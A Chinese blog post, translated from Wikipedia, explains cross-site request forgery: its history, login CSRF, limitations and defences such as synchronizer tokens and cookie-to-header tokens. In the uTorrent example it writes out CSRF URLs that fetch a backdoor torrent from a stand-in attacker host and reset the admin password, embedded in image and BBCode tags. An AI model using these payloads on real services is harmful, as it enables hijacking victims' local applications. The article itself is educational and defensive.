前端必备HTTP技能resource网络知识

前端必备HTTP技能之跨站请求伪造(CSRF)技术详解

2016-11-27  本文已影响3766人  留七七

跨站请求伪造也被成为单击攻击或者会话叠置,简称CSRF或者XSRF。是一种恶意利用从网站信任用户获取未授权命令的行为。和跨站脚本(XSS)不同,XSS利用的是特定站点信任的用户,而CSRF利用的是用户浏览器中信任的站点。

历史
CSRF漏洞从2001年开始被人知道并在某些情况下被人利用。因为它是在用户IP地址之外执行的,一些站点日志可能没有记录CSRF的证据,所以这种漏洞极少被公开报道过,直到2007年,才有一些证据确凿的例子:

示例和特征
如果攻击者可以找到一个可复制的链接,当受害者登陆的时候,在目标页面执行特定的动作,他们就可以在他们控制的页面嵌入这些链接,诱使受害者打开这些链接。攻击者可能会把链接放在受害者登陆站点时既有可能访问的地方,或者在邮件体内,邮件附件里面。uTorrent曾发现过一个真实的CSRF漏洞,它的web控制台允许通过localhost:8080访问,可以通过简单的get请求执行一些关键任务:
强制下载一个.torrent文件
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
修改uTorrent的管理员密码
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

攻击者可以把恶意自动执行代码放到论坛的image标签中或者垃圾邮件中,当用户打开浏览器访问这些页面时,会自动执行恶意代码。如果用户使用的是容易被攻击的uTorrent版本,那么在打开这些带有恶意代码的页面时,就很容易受到攻击。
![](http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent)

CSRF攻击使用image标签伪造主要来自网络论坛,因为论坛允许上传图片,但不支持js,例如可以使用BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

当攻击连接执行example.com时,浏览器可以自动发送example.com域下存在的任何cookies到服务端,当攻击发生时,用户已经登录了这个网站,此时CSRF攻击就可以利用特定漏洞,执行特殊行为。

CSRF是利用浏览器发起的代理人攻击

以下是CSRF常用特征:

web应用程序的风险就是执行行为是基于信任和授权的用户输入,而不需要用户授权特殊的行为。一个通过浏览器cookie授权的用户可能会不知觉的发送HTTP请求到信任该用户的网站,然后引起不知情的行为。

在上面的例子中,uTorrent的web接口支持GET请求进行临界状态改变操作(修改证书,下载文件等)促进了攻击,GET请求改变状态这种行为在RFC16规范中是不推荐的:

GET和HEAD方法不应该有其它行为除了用来获取数据,这些方法应该被认为是安全的。允许用户代理使用其它方法,例如POST,PUT和DELETE,这样用户才能清楚的知道这个请求是一个不安全的行为。

根据这个假定,许多存在CSRF防御机制的web框架将不会支持GET请求,但是不是仅通过HTTP方法,更多的是关注状态的改变。

伪造登陆请求
攻击者可以伪造请求利用攻击者的认证登陆目标站点,这也成为CSRF登陆。CSRF登陆制造了多种新奇的攻击可能,例如,攻击者可以稍后利用他自己的有效凭证登陆站点,浏览保存在账号中的活动页面上的隐私信息。

HTTP方法和CSRF
不同的HTTP请求方法有不同难易程度的CSRF攻击,也需要不同等级的防护措施,因为浏览器处理不同请求方法的方式不同。

CSRF的局限性
成功的CSRF需要一些前提条件:

注意CSRF攻击是盲目的,攻击者不知道目标站点会给受害者的伪造请求返回何种响应,除非攻击者可以利用跨站脚本或者目标站点的其他缺陷。同样的,如果后续的链接或者表单同样是可以预测的,那么攻击可以把任意最初请求之后的链接或者表单当成目标(多个目标可以通过在一个页面包含多个image来模拟或者使用js增加点击之间的延迟)。

由于上面的这些限制,攻击者可能很难找到登录的受害者或者可以攻击的表单提交。从另一方面来说,攻击尝试对受害者来说很容易实施并且不可见,程序设计者可能对CSRF攻击不太熟悉,也没有做好准备相比于密码破解字典攻击。

预防措施
大多数CSRF预防技术都是通过在请求中加入验证数据来区分请求是否来自未授权位置。

同步token模式

这种技术就是为每个请求生成一个私密的唯一的token,web程序会在所有的表单中嵌入这个token,然后在服务端验证。token可以用任何方法创建,但是要确保不可预测和唯一性。这样的话攻击者就不能再他们的请求中使用一个正确的token来验证请求的合法性。

Django框架在html表单中使用的一个例子:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

由于只依赖HTML,所以这种方法是最具兼容性的,但是也给服务端带来了一定的复杂度,因为服务端要承担校验每个请求的token以确定请求有效性的任务。token是唯一且不可预测的,还需要执行适当的事件序列,带了可用性问题。可以通过使用session CSRF token来代替使用每个请求的CSRF token来降低复杂度。同时,很难让web应用大量使用AJAX

Cookie-to-Header Token

web应用使用js来进行大量的操作,可以依赖同源策略使用反CSRF技术:

这种技术的安全性主要依赖于只有同源下的js才能访问到cookie值这样的假定。流氓文件和email中的js不能读取cookie,然后把cookie中的token放到header中,尽管cookie中的csrf-token会随伪造请求一起发送,但是服务端仍然会检查请求头中是否有有效的X-Csrf-Token。

CSRF token应该是唯一的和不可预测的。它可以随机产生,或者利用HMAC算法根据session token派生出来。
csrf_token = HMAC(session_token, application_secret)

cookie中的CSRF token设计的时候,必须可以被js读取到。

这项技术已经被许多现代框架实现,例如DjangoAngularJS。因为token在整个用户会话期间保持一致,所以在ajax应用中也可以很好的工作,但是不会执行web应用中的事件序列。

客户端安全措施

浏览器插件例如Firefox的RequestPolicy插件,或者Chrome,Firefox的uMatrix插件,都可以通过提供一个默认禁止跨站请求策略来阻止CSRF。然而,当时这样可能显著的影响了一些站点的正常操作。Firefox的CsFire插件通过移除跨站请求中身份验证信息的方式,可以缓解CSRF的影响,同时最低限度影响正常浏览。

Firefox的NoScript插件也可以减轻CSRF的威胁通过下面的方式:区分可信和不可信站点;移除授权信息;负载不信任站点发往信任站点的POST请求。NoScript中Application Boundary Enforcer模块可以阻止网页发往本地站点(localhost)的请求,阻止本地服务的CSRF,例如上文提到的uTorrent漏洞。

Firefox的cookie自我销毁插件不会直接阻止CSRF,但是可以减少攻击窗口,通过用户切换tab页时立即删除tab页cookie的方式。

其他技术

历史上使用过的或提出的各种其他阻止CSRF的技术:

跨站脚本漏洞允许攻击者绕过大多数CSRF防御措施,但是带有附件认证信息和验证码验证的方法仍然是有效的。

做好前端开发必须对HTTP的相关知识有所了解,所以我创建了一个专题前端必备HTTP技能专门收集前端相关的HTTP知识,欢迎关注,投稿。


PS:本文翻译自维基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_request_forgery

上一篇下一篇

猜你喜欢

热点阅读